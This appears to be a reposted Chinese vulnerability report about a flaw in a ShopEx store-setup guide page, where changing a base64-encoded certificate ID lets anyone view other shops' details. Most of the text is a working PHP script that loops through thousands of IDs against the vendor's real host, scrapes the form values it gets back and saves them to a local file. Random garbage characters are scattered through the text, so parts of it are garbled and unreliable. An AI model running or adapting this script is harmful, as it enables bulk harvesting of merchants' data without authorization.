ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
; @9 n3 U% B  v. t+ G1 G详细说明：
问题出现在shopex 网店使用向导页面


$ e- P5 h* q% q6 s9 p2 Z
# |) c5 c2 f. I( Z" x$ ihttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



7 k7 v4 F. }, h$ P1 Mrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
# y) L1 P7 V4 [9 k+ t: Y
  x" M5 V) q, p( u$ m+ x5 g1 J
, \8 `2 r. d* A
: S. L% F7 c4 z- x  C我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# t! B1 V. t* W6 B
5 {# |1 ]+ p* [8 W  H" O
- J5 P$ o- y: O) i* K, G
<?php
4 R% B* r$ c  B2 a) y1 L6 o$ Y
3 h% z3 V+ }8 Y8 ?                for ($i=1; $i < 10000; $i++) { //遍历
3 i9 Q" b" F0 g$ z/ z6 p7 p3 n
                        ShowshopExD($i);

                }

: y: |  q" f0 T2 O- b. C                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
+ r4 a8 w' n; ~/ \3 x
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
9 a9 X* B5 h7 x2 q
) z2 f! S( U# p/ U5 }: G        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

* N4 y! V/ L) E2 a        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
1 w8 z6 R6 w) P: k0 T" r
4 b: M, w: u- m& ^0 a  w- _        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
" }+ ?, _/ O* m8 W
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

* ?( A- H5 H! ~* a        {
' c/ `9 {0 i* l2 r2 x
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

8 g3 Z) x6 u2 W+ v$ X1 {4 }                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
7 ]- }; R: W# L: c0 |
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
7 T* L$ o+ t' J# {0 y/ i
                        fwrite($fp, $col, strlen($col));
0 l! x3 M* w, @$ D: B9 o
                }

: w& A6 I, b- @, ]& I                echo '--------------------------------'."\r\n";

                fclose($fp);

" Q' N+ p  r! E- B" }1 I, ?+ G' o        }

3 c4 r' L# _* X        flush();
  G0 y! }& k& y4 w0 P1 S
% }9 K' }8 i" k' f6 p. a2 N        curl_close($ch);
3 I+ d+ n0 u! \0 B$ s4 A. E
                }
# ?8 ?/ r' b4 M  {1 p5 @; W
& h- ]6 c: v9 o1 V( c; J6 D% g9 p: e?>
3 N, X8 B2 ^/ g* h: f% {漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式